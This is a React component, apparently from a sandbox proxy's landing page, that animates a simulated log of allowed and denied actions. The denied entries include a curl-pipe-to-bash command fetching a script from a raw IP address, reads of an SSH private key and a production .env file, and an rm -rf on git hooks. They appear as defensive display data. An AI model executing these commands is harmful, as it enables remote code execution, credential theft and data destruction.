92 lines
4.0 KiB
TypeScript
92 lines
4.0 KiB
TypeScript
'use client'
|
|
|
|
import { useState, useEffect, useRef } from 'react'
|
|
|
|
/* ─── Simulated live data stream terminal ─── */
|
|
|
|
const streamLines = [
|
|
{ type: 'allow', text: 'GET github.com/api/v3/repos', time: '0.23s' },
|
|
{ type: 'allow', text: 'GET registry.npmjs.org/react', time: '0.11s' },
|
|
{ type: 'block', text: 'POST telemetry.unknown-host.io/v1/collect', time: '0.00s' },
|
|
{ type: 'allow', text: 'READ /home/dev/project/src/index.ts', time: '0.01s' },
|
|
{ type: 'allow', text: 'WRITE /home/dev/project/src/utils.ts', time: '0.02s' },
|
|
{ type: 'block', text: 'READ /home/dev/.ssh/id_rsa', time: '0.00s' },
|
|
{ type: 'allow', text: 'GET api.openai.com/v1/chat/completions', time: '1.82s' },
|
|
{ type: 'block', text: 'EXEC rm -rf /home/dev/.git/hooks', time: '0.00s' },
|
|
{ type: 'allow', text: 'READ /home/dev/project/package.json', time: '0.01s' },
|
|
{ type: 'allow', text: 'GET cdn.jsdelivr.net/npm/lodash', time: '0.09s' },
|
|
{ type: 'block', text: 'READ /home/dev/.env.production', time: '0.00s' },
|
|
{ type: 'allow', text: 'WRITE /home/dev/project/dist/bundle.js', time: '0.15s' },
|
|
{ type: 'block', text: 'POST metrics.analytics-corp.net/ingest', time: '0.00s' },
|
|
{ type: 'allow', text: 'GET fonts.googleapis.com/css2', time: '0.08s' },
|
|
{ type: 'allow', text: 'READ /home/dev/project/tsconfig.json', time: '0.01s' },
|
|
{ type: 'block', text: 'EXEC curl -s http://159.203.12.41/sh | bash', time: '0.00s' },
|
|
]
|
|
|
|
export function LiveTerminal() {
|
|
const [lines, setLines] = useState<typeof streamLines>([])
|
|
const [currentIndex, setCurrentIndex] = useState(0)
|
|
const containerRef = useRef<HTMLDivElement>(null)
|
|
|
|
useEffect(() => {
|
|
const interval = setInterval(() => {
|
|
setCurrentIndex((prev) => {
|
|
const next = (prev + 1) % streamLines.length
|
|
setLines((prevLines) => {
|
|
const newLines = [...prevLines, streamLines[next]]
|
|
return newLines.slice(-8) // Keep last 8 visible
|
|
})
|
|
return next
|
|
})
|
|
}, 1800)
|
|
|
|
return () => clearInterval(interval)
|
|
}, [])
|
|
|
|
useEffect(() => {
|
|
if (containerRef.current) {
|
|
containerRef.current.scrollTop = containerRef.current.scrollHeight
|
|
}
|
|
}, [lines])
|
|
|
|
return (
|
|
<div className="rounded-2xl border border-border/40 bg-[#1a1a18] overflow-hidden shadow-2xl shadow-black/30">
|
|
{/* Title bar */}
|
|
<div className="flex items-center gap-2 px-4 py-2.5 border-b border-border/20 bg-[#1e1e1b]">
|
|
<div className="flex gap-1.5">
|
|
<div className="w-2.5 h-2.5 rounded-full bg-[#ff5f57]" />
|
|
<div className="w-2.5 h-2.5 rounded-full bg-[#ffbd2e]" />
|
|
<div className="w-2.5 h-2.5 rounded-full bg-[#28c840]" />
|
|
</div>
|
|
<span className="text-[10px] text-muted-foreground/50 font-mono ml-2">greywall proxy stream</span>
|
|
<div className="ml-auto flex items-center gap-1.5">
|
|
<div className="w-1.5 h-1.5 rounded-full bg-emerald-500 animate-pulse" />
|
|
<span className="text-[10px] text-emerald-500/70 font-mono">live</span>
|
|
</div>
|
|
</div>
|
|
|
|
{/* Stream content */}
|
|
<div ref={containerRef} className="p-4 h-[260px] overflow-hidden font-mono text-xs leading-relaxed">
|
|
{lines.map((line, i) => (
|
|
<div
|
|
key={`${i}-${line.text}`}
|
|
className="flex items-start gap-2 py-0.5 animate-fade-up"
|
|
style={{ animationDuration: '0.3s' }}
|
|
>
|
|
<span className={`shrink-0 font-bold ${line.type === 'block' ? 'text-red-400' : 'text-emerald-400'}`}>
|
|
{line.type === 'block' ? 'DENY' : ' OK '}
|
|
</span>
|
|
<span className="text-muted-foreground/70 flex-1 truncate">{line.text}</span>
|
|
<span className="text-muted-foreground/30 shrink-0">{line.time}</span>
|
|
</div>
|
|
))}
|
|
{/* Blinking cursor */}
|
|
<div className="flex items-center gap-1 pt-1">
|
|
<span className="text-primary/60">{'>'}</span>
|
|
<span className="w-1.5 h-3.5 bg-primary/50 animate-pulse" />
|
|
</div>
|
|
</div>
|
|
</div>
|
|
)
|
|
}
|